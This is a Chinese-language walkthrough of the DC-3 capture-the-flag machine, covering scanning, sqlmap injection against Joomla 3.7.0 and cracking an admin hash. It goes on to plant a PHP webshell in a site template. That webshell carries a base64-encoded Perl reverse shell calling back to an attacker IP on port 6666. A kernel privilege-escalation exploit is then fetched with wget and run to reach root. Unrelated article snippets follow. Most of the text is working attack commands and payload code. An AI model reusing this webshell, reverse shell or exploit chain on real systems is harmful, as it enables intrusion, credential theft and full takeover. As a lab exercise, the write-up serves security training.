DC系列靶机3通关教程

news2024/11/28 14:54:29

文章目录

  • 信息收集
    • 主机扫描
    • 端口扫描
    • 目录扫描
  • 漏洞查找
    • Joomscan
    • searchsploit
  • 漏洞利用
    • SQL注入
    • 密码爆破
    • 反弹shell
    • 得到交互shell
  • 提权
    • 查看操作系统版本信息
    • 搜索操作系统漏洞
    • 利用exp提权
    • 查找flag

信息收集

主机扫描

arp-scan -l

image-20230812153937338

端口扫描

nmap -p- -A 192.168.16.162
  • -A:扫描端口的详细信息。
  • -p-:使用 -p- 参数表示对目标主机上的所有65535个端口进行扫描。这相当于指定了 -p1-65535,以便扫描目标主机的所有端口。

image-20230812155135611

有80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

Joomla:是一套开源的内容管理系统(CMS),基于PHP和MySQL开发,构建灵活,功能强大。

目录扫描

dirsearch -u 192.168.16.162 -e * -i 200 #方法1
dirb http://192.168.16.162 #方法2
  • dirsearch是一个基于python3的命令行工具,常用于暴力扫描页面结构,包括网页中的目录和文件。
  • -u:使用 -u 参数指定要扫描的目标网址。
  • -e *:使用 -e 参数指定要扫描的文件扩展名。这里使用 * 表示扫描所有的文件扩展名。也可以指定特定的文件扩展名,例如 -e php,txt,以限制扫描的文件类型。
  • -i 200:使用 -i 参数指定要忽略的状态码。在这种情况下,参数值为 200,表示当响应的状态码为 200(成功)时,不显示输出结果。这通常用于隐藏有效的页面。
    • -i 状态码:只显示该状态码。
    • -x 状态码:不显示该状态码。

image-20230812164507749

扫描到后台登录界面路径,查看web页面

image-20230812164739656

后台登录网站:http://192.168.16.162/administrator/

image-20230812164931745

漏洞查找

Joomscan

joomscan:joomscan是一款开源的且针对joomla的扫描器,kali可以用命令 apt install joomscan安装该工具

image-20230812165318590

启动joomscan

joomscan -u 要扫描的目标机的IP地址 

joomscan -u 192.168.16.162 #-u:表示后面跟要扫描的路径

image-20230812170545264

image-20230812165849646

查看到joomla版本,还有一些目录和后台登入界面

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块。https://blog.csdn.net/whatday/article/details/102806149此网址为searchsploit工具使用指南

searchsploit joomla 3.7.0 #搜索joomla 3.7.0版本都有哪些漏洞

image-20230812171025173

当前joomla存在SQL注入的漏洞,还有跨站扫描漏洞,还有该漏洞在本工具中漏洞利用文件位置

查看SQL注入的漏洞的完整路径命令:

searchsploit -p php/webapps/42033.txt #-p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

image-20230812172333477

将漏洞的详细信息拷贝到桌面

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/Desktop/42033.txt

image-20230812175654301

searchsploit给出了SQL注入漏洞的注入点

漏洞利用

SQL注入

利用sqlmap进行自动化注入

列出所有数据库

sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dbs

说明:

–level=5: 表示使用最深入的检测方法。更高的风险和级别设置可以提高检测的准确性,但也可能导致更多的请求和耗时。

–risk=3:执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全。

–random-agent:该选项是为了在HTTP请求头中添加随机的用户代理,以模拟不同的浏览器和用户。

-p list[fullordering]: -p 选项指定了要检测的参数,这里是 list[fullordering]。该参数可能存在SQL注入漏洞,因此 sqlmap 将尝试利用它来执行进一步的攻击。

–dbs:检测站点包含哪些数据库。sqlmap将尝试发现目标数据库系统并列出可用的数据库。
image-20230812191905797

列出joomladb数据库中所有表

sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

image-20230812192659848

列出表中所有字段

sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' --columns

image-20230812193823068

查看用户名和密码

sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

image-20230812194255978

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu该密文是加密后的,没有加密函数只能爆破密码

密码爆破

利用John工具,对该密码进行爆破拆解,先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用John指向该文件。

vim mima
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

image-20230812195104908

john /root/Desktop/mima

image-20230812195435725

爆破出的密码为:snoopy

登录后台

image-20230812200038023

反弹shell

反弹shell是一种用于在攻击者和目标计算机之间建立远程命令执行的连接的技术。当攻击者成功入侵目标系统并且目标系统的防火墙或安全设备限制了直接的远程连接时,反弹shell可以是一种有效的方式来获取对目标系统的远程控制权限。

下面是关于反弹shell的详细解析:

  1. 本地监听与远程连接:攻击者首先在自己的计算机上启动一个监听程序(例如Netcat),该程序将监听指定的端口。然后,攻击者通过利用漏洞、社会工程等手段成功入侵目标系统,并在目标上运行一个恶意软件(如web shell)。
  2. 目标主机发起连接:一旦恶意软件在目标系统上运行,它将尝试连接到攻击者的计算机上的监听程序。这个连接可以是TCP连接、反向SSH隧道或其他可用的方法。
  3. 连接建立与交互:当目标主机成功连接到攻击者的计算机时,建立了一个双向通信通道。攻击者现在可以通过该通道向目标主机发送命令,并从目标主机接收响应。由于这是一个交互式的连接,攻击者可以执行各种操作,包括文件操作、系统命令执行、数据传输等。

image-20230812200514144

image-20230812200655991

这个文件上传有过滤,可以自己创建一个文件,写入木马直接使用反弹shell

image-20230812200931364

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.16.132";
$yourport = '6666';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

image-20230812201345626

save保存,保存就上传成功了,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.16.162/templates/beez3/webshell.php

kali坚挺的端口6666

nc -lvvp 6666

解析:这是一个用于创建一个本地监听器的命令,它使用的是Netcat(nc)工具。

  • -l:表示监听模式,用于创建一个监听器来接收传入的连接。
  • -v:表示详细模式(verbose mode),用于显示更多的输出信息,包括连接细节和数据传输。
  • -p:指定要监听的端口号,这里设定为6666,即监听流量传输到该端口。

image-20230812202246072

然后访问上传的文件webshell的地址,执行反弹shell的PHP代码。

http://192.168.16.162/templates/beez3/webshell.php

image-20230812202502837

回到监听的终端

image-20230812202721373

获得反弹shell

得到交互shell

python -c "import pty;pty.spawn('/bin/bash')"
python3 -c 'import pty; pty.spawn("/bin/bash")'

因版本不同如果第一条使用无效可使用第二条

image-20230812203124543

虽然获得了交互式的shell,但是还不是root权限

提权

查看操作系统版本信息

tac /etc/issue
  • /etc/issue.net 是一个文本文件,它包含了在登录提示符出现之前显示的信息或者系统标识。

image-20230812203706950

搜索操作系统漏洞

打开新终端,使用searchsploit工具搜索系统中存在的漏洞

searchsploit Ubuntu 16.04

image-20230812204908494

Privilege Escalation(提权),这里使用通用版本4.4.x版本的提权方式,完整path。

使用find命令查找路径

find / -name '39772.txt'

image-20230812205353595

/usr/share/exploitdb/exploits/linux/local/39772.txt

也可以使用

searchsploit -p linux/local/39772.txt

说明-p: --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号。

image-20230812205546500

查看文件内容

vim /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230812210207948

文本中写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接。

下载地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

利用exp提权

下载该压缩包并放到kali桌面,解压该文件

image-20230812210726311

在桌面打开终端打开http服务,将下载好的文件导入到DC-3靶机里。

python3 -m http.server 666

这个命令用于在当前目录下启动一个简单的 HTTP 服务器,以便通过浏览器或其他 HTTP 客户端访问本地文件。

通过在终端中执行 python3 -m http.server 6666 命令,将会在当前目录下启动一个 HTTP 服务器。该服务器会监听本地的 6666 端口,并向客户端提供文件传输服务。可以通过浏览器或其他 HTTP 客户端访问该服务器,并浏览、下载当前目录下的文件(在本例中可以下载当前桌面下的文件)。
注意:默认情况下,该服务器将使用无需身份验证的简单 HTTP。这意味着任何能够连接到服务器的人都可以查看目录中的文件

image-20230812211223730

浏览器访问一下开启的http服务。

image-20230812211635738

exp地址是

http://192.168.16.132:666/39772/exploit.tar

wget http://192.168.16.132:666/39772/exploit.tar

image-20230812212032319

解压

tar -xvf exploit.tar

image-20230812212244539

进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

ls

在当前目录下执行compile.sh、doubleput两个文件后获得root权限

./compile.sh
./doubleput

image-20230812212603761

image-20230812212733481

image-20230812212805374

查找flag

cd /root

cat the-flag.txt

image-20230812212950564

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1028455.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

月木学途开发 5.轮播图模块

概述 效果图 数据库设计 轮播图表 DROP TABLE IF EXISTS banner; CREATE TABLE banner (bannerId int(11) NOT NULL AUTO_INCREMENT,bannerUrl longtext,bannerDesc varchar(255) DEFAULT NULL,bannerTypeId int(11) DEFAULT NULL,PRIMARY KEY (bannerId) ) ENGINEInnoDB AU…

【UE 粒子练习】06——创建条带类型粒子

效果 下图呈现的是一种条带粒子跟随普通粒子移动的效果。其中&#xff0c;条带粒子为下图中蓝色部分&#xff0c;橙色部分为普通粒子 步骤 1. 新建一个材质&#xff0c;命名为“Mat_Ribbon”&#xff0c;将用于条带粒子材质 材质域设置为表面&#xff0c;混合模式设置为半透明…

DeepWalk实战---Wiki词条图嵌入可视化

DeepWalk是2014年提出的一种Graph中的Node进行Embedding的 算法&#xff0c;是首次将自然语言处理领域NLP中的 word2vec拓展到了graph。万事万物皆可embedding&#xff0c;所以DeepWalk我感觉在图机器学习中具有非常强的应用价值。 1. 首先打开Anaconda Prompt (Anaconda)&…

分享一个基于uniapp+springboot技术开发的校园失物招领小程序(源码、lw、调试)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人七年开发经验&#xff0c;擅长Java、Python、PHP、.NET、微信小程序、爬虫、大数据等&#xff0c;大家有这一块的问题可以一起交流&#xff01; &#x1f495;&…

海国图志#7:这一周难忘瞬间,吐血整理,不得不看

这里记录每周值得分享的新闻大图&#xff0c;周日发布。 文章以高清大图呈现&#xff0c;解说以汉语为主&#xff0c;英语为辅&#xff0c;英语句子均来自NYTimes、WSJ、The Guardian等权威媒体原刊。 归档时段&#xff1a;20230911-20230917 摩洛哥&#xff0c;阿米茨米兹 在阿…

calibre和cpolar搭建一个私有的网络书库

Kindle中国电子书店停运不要慌&#xff0c;十分钟搭建自己的在线书库随时随地看小说&#xff01; 文章目录 Kindle中国电子书店停运不要慌&#xff0c;十分钟搭建自己的在线书库随时随地看小说&#xff01;1.网络书库软件下载安装2.网络书库服务器设置3.内网穿透工具设置4.公网…

树莓派4b装系统到运行 Blazor Linux 本地程序全记录

在Linux下运行gui程序,咱也是第一次做,属于是瞎子过河乱摸一通,写得有什么不对和可以优化的地方,希望各位看官斧正斧正. ##1. 下载烧录器 https://www.raspberrypi.com/software/####我选择的是Raspbian 64位系统,并配置好ssh账号密码,wifi,以便启动后可以直接黑屏ssh连接 ##…

全流程HEC-RAS 1D/2D水动力与水环境模拟丨恒定流模型(1D/2D)、一维非恒定流、二维非恒定流模型、HEC-RAS水质模型

目录 ​专题一 ​水动力模型基础 专题二 恒定流模型(1D/2D) 专题三 一维非恒定流 专题四 二维非恒定流模型&#xff08;一&#xff09; 专题五 二维非恒定流模型&#xff08;二&#xff09; 专题六 HEC-RAS的水质模型 专题七 高级主题 更多应用 水动力与水环境模型的数…

【自学开发之旅】Flask-会话保持-API授权-注册登录

http - 无状态-无法记录是否已经登陆过 #会话保持 – session cookie session – 保存一些在服务端 cookie – 保存一些数据在客户端 session在单独服务器D上保存&#xff0c;前面数个服务器A,B,C上去取就好了&#xff0c;业务解耦。—》》现在都是基于token的验证。 以上是基…

stm32学习笔记:GPIO输入

1、寄存器输入输出函数 //读取输入数据寄存器某一个端口的输入值&#xff0c;参数用来指定某一个端口&#xff0c;返回值是 uint8_t类型&#xff0c;用来代表高低电平&#xff08;读取按键的值&#xff09;uint8_t GPIO_ReadInputDataBit(GPIO_TypeDef* GPIOx, uint16_t GPIO_…

JVM调优笔记

双亲委派机制 app---->ext----->bootstrap 保证系统的核心库不被修改 沙箱安全机制 限制系统资源访问&#xff0c;将java代码限制在虚拟机特定的运行范围中 基本组件 字节码校验器 确保java类文件遵循java规范&#xff0c;帮助java程序实现内存保护类加载器 native…

基于SSM的北京集联软件科技有限公司信息管理系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

博客摘录「 MobaXterm登录密码重置」2023年9月21日

登录MobaXterm提示输入密码&#xff0c; 而且还 忘记密码 安装重置密码的工具 可以使用浏览器打开 如下网址&#xff1a; https://mobaxterm.mobatek.net/resetmasterpassword.html 打开如图&#xff1a; 下载MobaXterm软件密码重置工具&#xff0c;下载好并解压后 直接…

第二证券:创业板指失守2000点 算力概念股走势活跃

周三&#xff0c;沪深两市继续缩量震动调整&#xff0c;三大指数均小幅下跌&#xff0c;创业板指失守2000点整数关口&#xff0c;再创调整新低。到收盘&#xff0c;上证综指报3108.57点&#xff0c;跌0.52%&#xff1b;深证成指报10072.46点&#xff0c;跌0.53%&#xff1b;创业…

Python机器学习实战-特征重要性分析方法(1):排列重要性(附源码和实现效果)

实现功能 排列重要性 PermutationImportance&#xff1a;该方法会随机排列每个特征的值&#xff0c;然后监控模型性能下降的程度。如果获得了更大的下降意味着特征更重要 实现代码 from sklearn.datasets import load_breast_cancer from sklearn.ensemble import RandomFore…

应用程序处理:TCP模块的处理

1、应用程序处理 首先应用程序会进行编码处理&#xff0c;这些编码相当于 OSI 的表示层功能&#xff1b; 编码转化后&#xff0c;邮件不一定马上被发送出去&#xff0c;这种何时建立通信连接何时发送数据的管理功能&#xff0c;相当于 OSI 的会话层功能。 2、TCP 模块的处理 …

共聚焦显微镜在化学机械抛光课题研究中的应用

两个物体表面相互接触即会产生相互作用力&#xff0c;研究具有相对运动的相互作用表面间的摩擦、润滑与磨损及其三者之间关系即为摩擦学&#xff0c;目前摩擦学已涵盖了化学机械抛光、生物摩擦、流体摩擦等多个细分研究方向&#xff0c;其研究的数值量级也涵盖了亚纳米到百微米…

MYSQL不常用但好用写法

ORDER BY FIELD() 自定义排序逻辑 MySql 中的排序 ORDER BY 除了可以用 ASC 和 DESC&#xff0c;还可以通过 「ORDER BY FIELD(str,str1,…)」 自定义字符串/数字来实现排序。这里用 order_diy 表举例&#xff0c;结构以及表数据展示&#xff1a; ORDER BY FIELD(str,str1,…) …

【Excel加密】excel只读模式在哪里设置

Excel文件想要设置成只读模式&#xff0c;其实很简单&#xff0c;今天给大家分享四个excel设置只读模式的方法。 方法一&#xff1a;文件属性 右键点击文件&#xff0c;查看文件属性&#xff0c;在属性界面&#xff0c;勾选上只读属性就可以了。 方法二&#xff1a;始终以只读…

pixel2的root过程

用adb连接手机 首先学会用adb连接手机 可以配置在主机Windows和虚拟机上 手机打开设置&#xff0c;连续点击版本号进入开发者模式 点击进入开发者选项&#xff0c;允许USB调试&#xff0c;连接在电脑上&#xff0c;在手机授权对话框中允许电脑调试 连接完成后&#xff0c;输…